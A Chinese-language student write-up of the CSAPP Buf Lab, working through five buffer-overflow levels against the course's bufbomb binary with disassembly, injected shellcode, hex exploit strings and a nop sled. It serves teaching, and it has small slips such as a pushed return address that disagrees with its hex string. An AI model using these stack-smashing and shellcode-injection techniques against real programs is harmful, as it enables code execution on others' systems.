《深入理解計算機系統》實驗三 —— Buf Lab


這是CSAPP的第三個實驗,主要讓我們熟悉GDB的使用,理解程序棧幀的結構和緩沖區溢出的原理。

實驗目的

  本實驗的目的在於加深對IA-32函數調用規則和棧結構的具體理解。實驗的主要內容是對一個可執行程序“bufbomb”實施一系列緩沖區溢出攻擊(buffer overflow attacks),也就是設法通過造成緩沖區溢出來改變該可執行程序的運行內存映像,繼而執行一些原來程序中沒有的行為,例如將給定的字節序列插入到其本不應出現的內存位置等。本次實驗需要你熟練運用gdbobjdumpgcc等工具完成。

  實驗中你需要對目標可執行程序BUFBOMB分別完成5個難度遞增的緩沖區溢出攻擊。5個難度級分別命名為Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke級最簡單而Nitro級最困難。

准備工作

  編譯環境:Ubuntu 16.04,gcc 5.4.0。

  在官網下載得到實驗所需文件解壓后會得到三個不同的文件。對三個文件簡要說明如下所示。

  README.txt:描述文件夾目錄

  bufbomb:將要攻擊的緩沖區炸彈程序。

  makecookie:根據您的用戶名生成一個“ cookie”。

  hex2raw:用於在字符串格式之間進行轉換的程序。

  Cookie是由八位十六進制數字組成的字符串,該字符串具有很高的用戶ID唯一性。您可以使用makecookie程序生成您的cookie,並以您的userid作為參數。如下圖所示:

image-20201119213038330

如果報錯:-bash: ./makecookie: Permission denied,執行以下命令賦予權限

chmod 777 bufbom

chmod 777 makecookie

BUFBOMB 程序

  BUFBOMB程序從標准輸入讀取字符串。getbuf函數如下所示:

/* Buffer size for getbuf */
 #define NORMAL_BUFFER_SIZE 32
 int getbuf()
 {
 	char buf[NORMAL_BUFFER_SIZE];
 	Gets(buf);
	return 1;
 }

  函數Gets類似於標准庫函數gets-它從標准輸入中讀取字符串(以“ \ n”或文件結尾結尾)並將其(連同空終止符一起)存儲在指定的目標位置。在此代碼中,定義了一個32個字節空間的buf來存儲字符。

  Gets()從輸入流中獲取一個字符串,並將其存儲到其目標地址(buf)。但是,Gets()無法確定buf是否足夠大以存儲整個輸入。它只是復制整個輸入字符串,可能會超出分配給buf的內存。

  如果用戶鍵入的字符串不超過31個字符,很明顯getbuf將返回1,如以下執行示例所示:

image-20201119214104748

  當輸入一個很長的字符串時

image-20201119214228399

  如上圖所示,緩沖區溢出通常會導致程序狀態被破壞,導致內存訪問錯誤。我們的任務是更聰明地輸入BUFBOMB的字符串,讓它做更多有趣的事情。

BUFBOMB所用的幾個不同的命令行參數:

-u userid:操作指示的userid的炸彈。在以下幾種情況中,必須加上此參數:1.需要將成功的攻擊提交給分級服務器。2.BUFBOMB和程序MAKECOOKIE一樣,根據userid確定要使用的Cookie。3.我們在BUFBOMB中內置了一些功能,一些關鍵的堆棧地址需要依賴於userid的cookie。

-h:打印可能的命令行參數列表。

-n:如以下Level 4所使用的那樣,以“Nitro”模式進行操作。

-s:將您的解決方案利用字符串提交到分級服務器

  注意以下幾個問題:

  1.HEX2RAW程序可以幫助我們生成原始的字符串。HEX2RAW程序的輸入是十六進制格式的字符。例如,字符串“0 1 2 3 4 5”應該寫成"30 31 32 33 34 35",(注意字符之間的空格)。

  2.HEX2RAW程序支持 /**/ 類型的注釋。例如

bf 66 7b 32 78 /* mov $0x78327b66,%edi */

  3.假如攻擊字符串存儲在exploit.txt中,我們可以一次使用以下命令來完成數據的讀入和運行。

cat exploit.txt | ./hex2raw | ./bufbomb -u bovik

  4.可以使用以下命令來完成輸入輸出的重定向並提供給BUFBOMB使用。

./hex2raw < exploit.txt > exploit-raw.txt
./bufbomb -u bovik < exploit-raw.txt

  5.調試bufbomb可以使用如下命令

gdb bufbomb
(gdb) run -u bovik < exploit-raw.txt

  6.攻擊字符串在任何中間位置都不得包含字節值0x0A,因為這是換行符('\ n')的ASCII碼。當Gets遇到此字節時,它將終止字符串。

棧幀結構

image-20201126210739090

首先簡單理解下函數調用過程中的棧幀結構。如上圖所示,為函數P調用函數Q時,程序的棧幀結構。

  • 當前正在執行的過程的幀總是在棧頂。

  • 當P函數調用Q時,會把返回地址(即P的下一條代碼的地址)壓入棧中,當Q返回時,繼續從P中調用Q的位置的下一條指令繼續執行。一般來說,我們把這個返回地址當做P的棧幀的一部分,因為它存放的是與P相關的狀態。

  • Q函數執行時,可以保存寄存器的值,可以為局部變量分配空間,當結束調用時,Q申請的所有空間都將被釋放。

  • 當P傳遞給Q的參數少於6個時,使用寄存器保存就可以了。當參數傳遞大於6個時,多出的部分將用棧來傳遞。

    關於堆棧的更詳細的知識可以參考這篇文章面試官不講武德,居然讓我講講蠕蟲和金絲雀!

Level 0: Candle

  test在BUFBOMB中調用了getbuf函數的C代碼下:

void test()
{
	int val;
	/* Put canary on stack to detect possible corruption */
	volatile int local = uniqueval();
	val = getbuf();
	/* Check for corrupted stack */
	 if (local != uniqueval()) {
 		printf("Sabotaged!: the stack has been corrupted\n");
 	}
 	else if (val == cookie) {
 		printf("Boom!: getbuf returned 0x%x\n", val);
 		validate(3);
 	} else {  
	    printf("Dud: getbuf returned 0x%x\n", val);
	 }
}

  當test調用完getbuf函數(第6行)后會正常向下執行,如果我們想要讓其跳轉到smoke函數,那么我們就要利用緩沖區溢出的漏洞來修改getbuf函數的返回地址。

void smoke()
{
	printf("Smoke!: You called smoke()\n");
	validate(0);
	exit(0);
}

  首先將bufbomb使用指令objdump -d bufbomb >bufbomb .d 進行反匯編

080491f4 <getbuf>:
 80491f4:	55                   	push   %ebp                             # 被調用者保存
 80491f5:	89 e5                	mov    %esp,%ebp                         
 80491f7:	83 ec 38             	sub    $0x38,%esp                        
 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax                 # 緩沖區40個字節
 80491fd:	89 04 24             	mov    %eax,(%esp)
 8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
 8049205:	b8 01 00 00 00       	mov    $0x1,%eax
 804920a:	c9                   	leave  
 804920b:	c3                   	ret  
08048c18 <smoke>:
 8048c18:	55                   	push   %ebp
 8048c19:	89 e5                	mov    %esp,%ebp
 8048c1b:	83 ec 18             	sub    $0x18,%esp
 8048c1e:	c7 04 24 d3 a4 04 08 	movl   $0x804a4d3,(%esp)
 8048c25:	e8 96 fc ff ff       	call   80488c0 <puts@plt>
 8048c2a:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c31:	e8 45 07 00 00       	call   804937b <validate>
 8048c36:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c3d:	e8 be fc ff ff       	call   8048900 <exit@plt>

  由反匯編結果可知,給輸入的字符串分配的空間是從%ebp-0x28開始的,換為10進制就是40個字節,而返回地址是在%ebp+0x4處,push %ebp本身又占了四個字節,所以結構為:0x28+4+4=48個字節。並且其最后4個字節應是smoke函數的地址,正好覆蓋ebp上方的正常返回地址。這樣再從getbuf返回時,取出的根據攻擊字符串設置的地址,就可實現控制轉移。(結合棧幀的圖理解)

  由反匯編可得smoke函數的入口地址為0x08048c18。因此,我們需要做的就是把上面的44個字節隨意填滿(不要填換行),然后把原來的返回地址改為smoke函數的入口地址。0x0a是換行\n的ASCII值,所以不可以輸入,那么我們就輸入0x08048c18來代替。

  新建一個名為Level0.txt的文件,攻擊代碼如下所示

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00  /*填充44個字節*/
00 00 00 00 18 8c 04 08  /*溢出剛好修改返回地址*/             

  執行以下命令測試

./hex2raw < Level0.txt > Level0-raw.txt
./bufbomb -u bovik < Level0-raw.txt

  結果如下所示,成功。

image-20201121094519504

Level 1: Sparkler

  Level1 和Level0差不多,唯一的區別是 fizz(int) 函數有一個整型的參數,並且在 fizz函數中還要校驗cookie, test函數調用getbuf函數,調用完getbuf以后不返回getbuf的調用者test而是去執行fizz函數。

void fizz(int val)
{
	if (val == cookie) {
		printf("Fizz!: You called fizz(0x%x)\n", val);
		validate(1);
	}else
		printf("Misfire: You called fizz(0x%x)\n", val);
	exit(0);
}
08048c42 <fizz>:
 8048c42:	55                   	push   %ebp
 8048c43:	89 e5                	mov    %esp,%ebp
 8048c45:	83 ec 18             	sub    $0x18,%esp
 8048c48:	8b 45 08             	mov    0x8(%ebp),%eax
 8048c4b:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048c51:	75 26                	jne    8048c79 <fizz+0x37>
 8048c53:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c57:	c7 44 24 04 ee a4 04 	movl   $0x804a4ee,0x4(%esp)
 8048c5e:	08 
 8048c5f:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c66:	e8 55 fd ff ff       	call   80489c0 <__printf_chk@plt>
 8048c6b:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c72:	e8 04 07 00 00       	call   804937b <validate>
 8048c77:	eb 18                	jmp    8048c91 <fizz+0x4f>
 8048c79:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c7d:	c7 44 24 04 40 a3 04 	movl   $0x804a340,0x4(%esp)
 8048c84:	08 
 8048c85:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c8c:	e8 2f fd ff ff       	call   80489c0 <__printf_chk@plt>
 8048c91:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c98:	e8 63 fc ff ff       	call   8048900 <exit@plt>

  由fizz的反匯編可知:fizz函數的入口地址為0x08048c42。由棧幀圖示可知,ebp存放了調用者的舊ebp(saved %ebp),其上一位置ebp+4存放了調用者的返回地址,所以參數的地址應該為ebp+8的位置,我們只需要將自己的cookie放置在該位置即可。

  攻擊代碼如下

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
42 8c 04 08 /*fizz函數的入口地址*/   
00 00 00 00 
b7 b2 05 10 /*ebp+8存放參數地址*/

  最后執行命令測試成功

image-20201121104401048

Level 2: Firecracker

08048c9d <bang>:
 8048c9d:	55                   	push   %ebp
 8048c9e:	89 e5                	mov    %esp,%ebp
 8048ca0:	83 ec 18             	sub    $0x18,%esp
 8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax
 8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048cae:	75 26                	jne    8048cd6 <bang+0x39>
 8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)
 8048cbb:	08 
 8048cbc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048cc3:	e8 f8 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cc8:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048ccf:	e8 a7 06 00 00       	call   804937b <validate>
 8048cd4:	eb 18                	jmp    8048cee <bang+0x51>
 8048cd6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cda:	c7 44 24 04 0c a5 04 	movl   $0x804a50c,0x4(%esp)
 8048ce1:	08 
 8048ce2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ce9:	e8 d2 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048cf5:	e8 06 fc ff ff       	call   8048900 <exit@plt>

  緩沖區攻擊的一種更為復雜的形式是提供一個對實際機器指令進行編碼的字符串,然后利用字符串利用這些指令在堆棧中的起始地址覆蓋返回指針。當調用函數(在本例中為getbuf)執行其ret指令時,程序將開始在堆棧上執行指令,而不是返回。通過這種攻擊方式,您可以獲得該程序幾乎可以執行任何操作。您放在堆棧上的代碼稱為漏洞利用代碼。這種攻擊非常棘手,因為您必須將機器代碼放入堆棧並將返回指針設置為該代碼的開頭。

  在文件bufbomb中,有一個具有以下C代碼的函數bang函數:

int global_value = 0;
void bang(int val)
{
	if (global_value == cookie) {
		printf("Bang!: You set global_value to 0x%x\n", global_value);
		validate(2);
	} else
		printf("Misfire: global_value = 0x%x\n", global_value);
	exit(0);
}

  和之前的兩個實驗相似,我們的任務是執行完getbuf()后,不返回到test,而是執行bang代碼,但是這個實驗中我們還要修改global_value的值為cookie。先看下反匯編。

08048c9d <bang>:
 8048c9d:	55                   	push   %ebp
 8048c9e:	89 e5                	mov    %esp,%ebp
 8048ca0:	83 ec 18             	sub    $0x18,%esp
 8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax                 #global_value
 8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048cae:	75 26                	jne    8048cd6 <bang+0x39>
 8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp),
 8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)
 8048cbb:	08 
 8048cbc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048cc3:	e8 f8 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cc8:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048ccf:	e8 a7 06 00 00       	call   804937b <validate>
 8048cd4:	eb 18                	jmp    8048cee <bang+0x51>
 8048cd6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cda:	c7 44 24 04 0c a5 04 	movl   $0x804a50c,0x4(%esp)
 8048ce1:	08 
 8048ce2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ce9:	e8 d2 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048cf5:	e8 06 fc ff ff       	call   8048900 <exit@plt>

  bang函數入口地址0x8048c9d。由第5行可知,global_value存放的位置是0x804d100。

  由此寫下匯編代碼:首先把我們的cookie寫到全局變量的地址中,然后在把bang的入口地址入棧,通過ret指令來執行bang函數

movl $0x1005b2b7,0x804d100  #修改變量值
push $0x8048c9d             #bang函數地址壓棧
ret                         #利用ret語句完成對bang的調用

  機器編碼如下

00000000 <.text>:
   0:   c7 05 00 d1 04 08 b7    movl   $0x1005b2b7,0x804d100
   7:   b2 05 10
   a:   68 9d 8c 04 08          push   $0x8048c9d
   f:   c3                      ret

  得到機器碼之后如何使用呢?這個機器碼的作用是執行到它時,修改全局變量的值並進入bang函數,然而要怎么執行到這一步呢?考慮執行getbuf函數的時候,將其返回地址改為這個函數的地址,使得getbuf執行完畢后,繼續執行這個函數,執行完這個函數就自動執行bang函數了。

  我們寫的這個函數的地址在哪里呢?

  使用GDB調試,在getbuf函數設置斷點,查詢buf的首地址。在call gets函數前,eax寄存器的值就是buf的首地址,即我們寫的函數的地址。

080491f4 <getbuf>:
 80491f4:	55                   	push   %ebp
 80491f5:	89 e5                	mov    %esp,%ebp
 80491f7:	83 ec 38             	sub    $0x38,%esp
 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax
 80491fd:	89 04 24             	mov    %eax,(%esp)
 8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
 8049205:	b8 01 00 00 00       	mov    $0x1,%eax
 804920a:	c9                   	leave  
 804920b:	c3   

  位於0x80491fa 地址處代碼為預讀的string在stack創建了0x28(也就是40)個Byte 的空間。具體位置可以通過gdb在下一行設置breakpoint 查找 %eax 的值得到,如下所示:

image-20201126173058293

  我們還需要找到input string存放的位置作為第一次ret 指令的目標位置, 經過gdb調試分析getbuf()申請的40字節緩沖區首地址為0x55683588(后面還會用到)。

  所以攻擊代碼為

c7 05 00 d1 04 08 b7 b2 
05 10 68 9d 8c 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 88 35 68 55          /*代碼存放位置*/

  編譯測試結果如下所示

image-20201126172215513

Level 3: Dynamite

  在這個題目中,要求getbuf() 結束后正常返回執行(getbuf() 的下一行),並且將cookie作為getbuf的返回值傳給test()。同時還要saved ebp被復原,保證占空間被還原,使test()察覺不到我們修改了程序。

08048daa <test>:
 8048daa:	55                   	push   %ebp
 8048dab:	89 e5                	mov    %esp,%ebp
 8048dad:	53                   	push   %ebx
 8048dae:	83 ec 24             	sub    $0x24,%esp
 8048db1:	e8 da ff ff ff       	call   8048d90 <uniqueval>
 8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048db9:	e8 36 04 00 00       	call   80491f4 <getbuf>                #
 8048dbe:	89 c3                	mov    %eax,%ebx
 8048dc0:	e8 cb ff ff ff       	call   8048d90 <uniqueval>
 8048dc5:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048dc8:	39 d0                	cmp    %edx,%eax
 8048dca:	74 0e                	je     8048dda <test+0x30>
 8048dcc:	c7 04 24 88 a3 04 08 	movl   $0x804a388,(%esp)
 8048dd3:	e8 e8 fa ff ff       	call   80488c0 <puts@plt>
 8048dd8:	eb 46                	jmp    8048e20 <test+0x76>
 8048dda:	3b 1d 08 d1 04 08    	cmp    0x804d108,%ebx
 8048de0:	75 26                	jne    8048e08 <test+0x5e>
 8048de2:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048de6:	c7 44 24 04 2a a5 04 	movl   $0x804a52a,0x4(%esp)
 8048ded:	08 
 8048dee:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048df5:	e8 c6 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048dfa:	c7 04 24 03 00 00 00 	movl   $0x3,(%esp)
 8048e01:	e8 75 05 00 00       	call   804937b <validate>
 8048e06:	eb 18                	jmp    8048e20 <test+0x76>
 8048e08:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e0c:	c7 44 24 04 47 a5 04 	movl   $0x804a547,0x4(%esp)
 8048e13:	08 
 8048e14:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e1b:	e8 a0 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e20:	83 c4 24             	add    $0x24,%esp
 8048e23:	5b                   	pop    %ebx
 8048e24:	5d                   	pop    %ebp
 8048e25:	c3                   	ret

  getbuf()函數在被調用時,程序的返回值被存儲在%eax寄存器中,當getbuf()執行完,就會去%eax取值返回執行。因此,要想返回cookie,我們只要修改eax的值就可以。

  題目還要求恢復原來的%ebp,因此我們可以通過打斷點的方式先記下調用getbuf()之前的epb值(0x556835e0)。

  而對於返回地址,這個很簡單,就相當於上一題我們是跳轉到bang函數,在這一題里,把執行完getbuf的下一句的地址壓棧再ret,就完成了要求。

  在程序第8行0x8048db9處打斷點,獲取原來ebp的值為 0x556835e0。

image-20201121152526581

  匯編代碼如下所示

movl $0x1005b2b7,%eax
push $0x8048db9         # 壓棧
ret

  這里通過movl指令將cookie值傳給%eax以返回給test(),然后使得程序跳轉到test()中call getbuf下一條指令正常返回,但是並不在這里處理ebp寄存器問題,而是通過在攻擊字符串里面設置ebp寄存器使得其還原為舊ebp。

00000000 <.text>:
   0:   b8 b7 b2 05 10          mov    $0x1005b2b7,%eax
   5:   68 b9 8d 04 08          push   $0x8048db9
   a:   c3                      ret

  攻擊代碼如下所示

b8 b7 b2 05
10 68 be 8d 
04 08 c3 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
e0 35 68 55    /*原來ebp的值*/
88 35 68 55    

  編譯運行結果如下

image-20201126200255450

這道題目有兩種寫法,只要在其中一個地方修復ebp即可

第一種是在這個代碼里不對ebp作操作,而在我們最后填入getbuf的字符串中修改ebp

第二種是在這個代碼里把ebp為原ebp,在我們最后填入getbuf的字符串中隨意填ebp

我們上面用的是第一種,下面介紹下第二種。

movl $0x1005b2b7,%eax
movl $0x556835e0,%ebp     #直接修改ebp的值
push $8048dbe             #壓棧,正常返回
ret

這里通過movl指令將cookie值傳給%eax以返回給test(),然后繼續通過movl指令還原ebp寄存器,最后通過push正確返回地址使得程序跳轉到test()中call getbuf下一條指令正常返回。區別於方法一的是這里通過自定義攻擊代碼還原ebp,而不是通過攻擊字符串中的緩沖區溢出進行覆蓋的,兩種方法都可以。

Level 4: Nitroglycerin

  請注意:在這個實驗中需要使用“ -n”命令行標志才能運行此階段。

  對於不同程序或者是不同用戶運行同一程序,每次堆棧位置會有所不同。這種變化的原因之一是,所有環境變量的值都放在程序開始執行時的棧底。環境變量存儲為字符串,根據值的不同,需要不同的大量的存儲空間。在GDB調試中,堆棧位置也會有差異,因為GDB將堆棧空間用於其自身的某些狀態。

  在調用getbuf的代碼中,使用了某些手段(穩定因素),從而使兩次運行之間,getbuf的堆棧框架將保持一致。這使得我們可以編寫攻擊代碼。利用漏洞使得程序知道buf起始地址。如果嘗試在其他普通程序上使用此類漏洞利用程序,會發現它有時會起作用,但有時會導致段錯誤。因此得名“nitroglycerin””----由阿爾弗雷德·諾貝爾開發的nitroglycerin”,其中包含穩定劑以減少Nitroglycerin容易發生意外爆炸。

  在這個實驗中,堆棧位置比其他程序的堆棧穩定程度更低。當使用命令行標志“ -n”運行BUFBOMB時,它將在“ Nitro”模式下運行。程序不會調用函數getbuf,程序會調用函數getbufn:

/* Buffer size for getbufn */
#define KABOOM_BUFFER_SIZE 512

  該函數類似於getbuf,不同之處在於它具有512個字符的緩沖區。我們將需要這個額外空間來創造攻擊程序。調用getbufn的代碼分配一個隨機量堆棧上的存儲空間,例如,如果在getbufn連續兩次執行時采樣%ebp的值,您會發現k它們相差±240。

  此外,在Nitro模式下運行時,BUFBOMB要求您提供5次字符串,並且它將執行getbufn 5次,每次都有不同的堆棧偏移量。我們要用攻擊字符串每次都返回cookie。

  我們需要提供一個攻擊程序,讓getbufn返回到cookie到test中,而不是1。可以在test代碼中看到這將導致程序運行“ KABOOM!”。我們的攻擊代碼代碼應設置cookie作為返回值,恢復任何損壞的狀態,將正確的返回位置壓入堆棧,並執行ret指令以真正返回到testn。

  在CSAPP P199中有nop sled一詞,這次實驗就用到了這個。書中的解釋如下:

  一種常見的把戲就是在實際的攻擊代碼前插入很長一段的nop(讀作“noop”,no operatioin的縮寫)指令。執行這種指令除了對程序計數器加一,使之指向下一條指令之外,沒有任何的效果。只要攻擊者能夠猜中這段序列中的某個地址,程序就會經過這個序列,到達攻擊代碼。這個序列常用的術語是“空操作雪橇( nop sled)。

  因為在這個實驗中,棧的地址是變化的。我們不知道有效機器代碼的入口地址了,因此我們需要在有效機器代碼前填充大量的nop指令,只要程序可以跳轉到這些nop指令中,那么最終就可以滑到有效的機器代碼。

  運行getbufn函數時,會隨機在棧上分配一塊存儲地址,因此,getbufn的基址ebp時隨機變化的。但是又要求我們寫的跳轉地址是固定的,所以我們應該在有效代碼之前大量填充nop指令,讓這段地址內的代碼都會滑到這段nop之后的代碼上。

  由於棧上的機器代碼是按地址由低向高順序執行,要保證五次運行都能順利執行有效機器代碼,需要滿足:跳轉地址位於有效機器代碼入口地址之前的nop機器指令填充區。這要求盡可能增大nop填充區,盡可能使有效機器代碼段往后挪。

0804920c <getbufn>:
 804920c:	55                   	push   %ebp
 804920d:	89 e5                	mov    %esp,%ebp
 804920f:	81 ec 18 02 00 00    	sub    $0x218,%esp
 8049215:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
 804921b:	89 04 24             	mov    %eax,(%esp)
 804921e:	e8 d7 fa ff ff       	call   8048cfa <Gets>
 8049223:	b8 01 00 00 00       	mov    $0x1,%eax
 8049228:	c9                   	leave  
 8049229:	c3                   	ret    
 804922a:	90                   	nop
 804922b:	90                   	nop

  從反匯編可以看出,buf的首地址為ebp-0x208,所以buf總共的大小為520字節。考慮這個函數中,testn的ebp隨每次輸入都隨機變化,但是棧頂esp的位置卻不變,所以我們可以通過esp和ebp的關系來找出這個關系,從而進行攻擊

  首先在sub $0x218,esp這一句設置斷點,並使用-n模式運行程序,並查看ebp的值。

image-20201127205819119

  我們要做的是找出最大的ebp值0x556835e0,再減去0x208,即為最高的buf的始地址為:0x556833D8。

  如果將有效機器代碼置於跳轉地址之前,並將其它所有字符都用作nop指令,此時所有五個buf地址的寫入都能滿足跳轉到地址0x556833D8后順利到達有效機器代

碼。

08048e26 <testn>:
 8048e26:	55                   	push   %ebp
 8048e27:	89 e5                	mov    %esp,%ebp
 8048e29:	53                   	push   %ebx
 8048e2a:	83 ec 24             	sub    $0x24,%esp
 8048e2d:	e8 5e ff ff ff       	call   8048d90 <uniqueval>
 8048e32:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048e35:	e8 d2 03 00 00       	call   804920c <getbufn>
 8048e3a:	89 c3                	mov    %eax,%ebx               #ebp
 8048e3c:	e8 4f ff ff ff       	call   8048d90 <uniqueval>
 8048e41:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048e44:	39 d0                	cmp    %edx,%eax
 8048e46:	74 0e                	je     8048e56 <testn+0x30>
 8048e48:	c7 04 24 88 a3 04 08 	movl   $0x804a388,(%esp)
 8048e4f:	e8 6c fa ff ff       	call   80488c0 <puts@plt>
 8048e54:	eb 46                	jmp    8048e9c <testn+0x76>
 8048e56:	3b 1d 08 d1 04 08    	cmp    0x804d108,%ebx
 8048e5c:	75 26                	jne    8048e84 <testn+0x5e>
 8048e5e:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e62:	c7 44 24 04 b4 a3 04 	movl   $0x804a3b4,0x4(%esp)
 8048e69:	08 
 8048e6a:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e71:	e8 4a fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e76:	c7 04 24 04 00 00 00 	movl   $0x4,(%esp)
 8048e7d:	e8 f9 04 00 00       	call   804937b <validate>
 8048e82:	eb 18                	jmp    8048e9c <testn+0x76>
 8048e84:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e88:	c7 44 24 04 62 a5 04 	movl   $0x804a562,0x4(%esp)
 8048e8f:	08 
 8048e90:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e97:	e8 24 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e9c:	83 c4 24             	add    $0x24,%esp
 8048e9f:	5b                   	pop    %ebx
 8048ea0:	5d                   	pop    %ebp
 8048ea1:	c3                   	ret    

  可以看出,在testn中,esp+0x24+0x4是ebp的真值,而由於esp是不變的,所以可以通過esp+0x28來修改正確的ebp值,同時,可以看出得到getbufn的返回地址

為0x8048e3a。

  匯編代碼如下:

movl $0x1005b2b7,%eax
lea 0x28(%esp),%ebp
push $0x8048e3a
ret

  機器碼如下

00000000 <.text>:
   0:   b8 b7 b2 05 10          mov    $0x1005b2b7,%eax
   5:   8d 6c 24 28             lea    0x28(%esp),%ebp
   9:   68 3a 8e 04 08          push   $0x8048e3a
   e:   c3                      ret

  接下來准備構造攻擊字符串,構造的方法:

  考慮buf部分共有520+4(舊ebp)+4(返回地址)共528個字節,我們這個代碼里要做的就是在這些范圍內填入三部分:nop操作、攻擊代碼、和跳轉地址。先考慮后面的部分,在原函數的返回地址處我們肯定要用buf的最大始地址代替,是最后4字節,然后緊跟着它之前的是我們的攻擊代碼,共15字節,剩下的528-4-15=509字節全用nop填滿。

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 

b8 b7 b2 05 10 8d 6c 24 28 68 
3a 8e 04 08 c3 D8 33 68 55

  測試結果如下所示,順利通過

image-20201127212256963

總結

  這幾個實驗還是比較好玩的,前四個都不難,稍加思考便能做出來。最后一個居然用到了nop sled,之前在看書的時候就好奇黑客是如何使用這些的,沒想到還真用到了。當然,對於黑客來說,這只是基礎中的基礎。做完這些實驗確實對於程序的棧幀結構有了更深的理解。更好地理解了C語言函數的匯編語言,和緩沖區溢出的原理。掌握緩沖區溢出攻擊的設計方法,進一步熟悉了gdb的調試。

